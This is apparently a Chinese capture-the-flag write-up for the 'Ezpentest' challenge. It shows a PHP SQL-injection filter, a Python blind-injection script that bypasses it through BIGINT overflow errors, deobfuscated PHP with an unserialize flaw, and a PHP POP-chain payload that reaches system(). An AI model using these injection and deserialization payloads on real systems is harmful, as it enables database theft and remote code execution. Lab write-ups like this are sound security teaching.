Ezpentest WriteUp
SQL注入的WAF如下
1 2 3 4 5 6 7 8
| <?php function safe($a) { $r = preg_replace('/[\s,()#;*~\-]/','',$a); $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r); return (string)$r; }
?>
|
可知这里考的SQL注入是改编了HFCTF中的babysql的
这里可以使用like
来替代regexp
,原本使用~0+1+''
的方式被ban了,但是可以利用整型数据溢出的方式进行报错,使用9223372036854775807+1
,可以参考这篇文章:https://www.tr0y.wang/2018/06/18/MySQL%E7%9A%84BIGINT%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/,效果如下图所示
正确的话,状态码为500;错误的话,状态码为200,最后脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import requests
burp0_url = "http://1.14.71.254:28101/login.php" burp0_cookies = {"PHPSESSID": "2kkgp0036snjurd71desk4mr90", "__jsluid_h": "dd80fe7c3cfe65e11fe52da5fcfc1991"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com", "Connection": "close", "Referer": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com/", "Upgrade-Insecure-Requests": "1"}
flag = '' black_list = ",()#;*~\-'"
while True: for j in range(33, 128): if chr(j) in black_list: continue
if j == 95 or j == 37: y = '\\' + chr(j) else: y = chr(j) burp0_data = { "username": "xxx'||case'1'when`username`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format( flag + y), "password": "aaa"} res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) print chr(j) + " : " + str(res.status_code) if res.status_code == 500: if j == 95 or j == 37: flag += '\\' + chr(j) else: flag += chr(j) print flag break if j == 127: print flag.replace("\\", '') exit(0)
|
最后获得username和password
接下里均为本地操作,没有环境了
登录进去后,有一个混淆的文件以及SomeClass.php的文件
SomeClass.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <?php class A { public $a; public $b; public function see() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } } } class B { public $a; public $b; public function __toString() { $this->a->see(); return "1"; } } class C { public $a; public $b; public function __toString() { $this->a->read(); return "lock lock read!"; } } class D { public $a; public $b; public function read() { $this->b->learn(); } } class E { public $a; public $b; public function __invoke() { $this->a = $this->b." Powered by PHP"; } public function __destruct(){ die($this->a); } } class F { public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); } }
?>
|
混淆文件用了大量的不可见字符,类似SUSCTF
中的rubbish maker
,直接保存可能存在解码不了,使用如下脚本进行保存
1 2 3 4 5 6 7 8 9 10 11
| <?php $url ="http://url/login.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_COOKIE, "session=xxxxxx"); $result = curl_exec($ch); curl_close($ch); echo urlencode($result); file_put_contents("pop.php",$result); ?>
|
在文件中也看到了使用的是PHPJiaMi混淆,可以使用工具进行解混淆:https://github.com/PikuYoake/phpjiami_decode
解码后的文件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php session_start(); if(!isset($_SESSION['login'])){ die(); } function Al($classname){ include $classname.".php"; }
if(isset($_REQUEST['a'])){ $c = $_REQUEST['a']; $o = unserialize($c); if($o === false) { die("Error Format"); }else{ spl_autoload_register('Al'); $o = unserialize($c); $raw = serialize($o); if(preg_match("/Some/i",$raw)){ throw new Error("Error"); } $o = unserialize($raw); var_dump($o); } }else { echo file_get_contents("SomeClass.php"); }
|
这里利用spl_autoload_register()
函数自动加载类,加载的是类名文件,所以需要自己构造一个SomeClass类,让其include SomeClass.php
后面有一个过滤Some
的正则,但是我们可以在前面进行强制GC,导致其销毁从而进入到__destruct()
中
POP链的构造也是比较简单的,如下所示
1 2 3 4 5
| E::__destruct() ↓↓↓ B::__toString() ↓↓↓ A::see()
|
不过A::see()
中有个判断,其中成员变量$b
的类不能来自SomeClass.php
以及后面会调用其a和b的成员变量,最后这里我卡了很久
ROIS战队的师傅给的ArrayObject
类可以很好的解决,然后西工大的师傅给出了Error
类也可以解决这个问题。最后发现只要是php中的可序列化的原生类都行!!!对自己无语了
最后Payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php include "SomeClass.php";
class SomeClass{ public $a; }
$e = new E(); $a = new A(); $b = new B();
$e->a = $b; $b->a = $a; $arr = new ArrayObject(); $arr->a = "system"; $arr->b = "php -v"; $a->b = $arr; $c = new SomeClass(); $c->a = $e; echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
|